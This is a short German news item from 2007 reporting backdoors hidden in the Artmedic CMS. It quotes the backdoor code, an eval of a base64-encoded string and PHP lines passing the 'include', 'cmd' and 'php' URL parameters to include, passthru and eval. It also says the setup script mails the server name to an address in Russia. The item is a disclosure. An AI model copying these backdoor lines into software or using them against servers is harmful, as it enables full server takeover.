Bugs im Artmedic CMS

Sie befinden sich: Home > Webmaster News

Im Code des Content Management Systems Artmedic sind mehrere Hintertüren versteckt, über die ein Angreifer den Server komplett übernehmen kann. Des Weiteren verschickt das Setup-Skript eine E-Mail mit dem Namen des unterminierten Servers an eine Adresse in Russland.

$template1 = 'aWYoJF9HR...';  eval(base64_decode($template1));  

Das entpackt die kryptische, base64-kodierte Zeichenkette zunächst und führt die so erhaltenen Befehle dann via eval aus.

if($_GET['include']) include($_GET['include']);  
if($_GET['cmd']) passthru($_GET['cmd']);  
if($_GET['php']) eval($_GET['php']);  

Dieser PHP-Code wertet die GET-Parameter include, cmd und php aus. Damit kann ein Angreifer durch den Aufruf spezieller URLs eigenen Code einschleusen und beliebige Befehle auf dem Server starten.

Es wurde am 20.05.2007 die Version 3.5 zum download angeboten wo die Hintertür im Cms System behoben sein sollen.

Eingetragen am 20.05.2007

Schreib ein Kommentar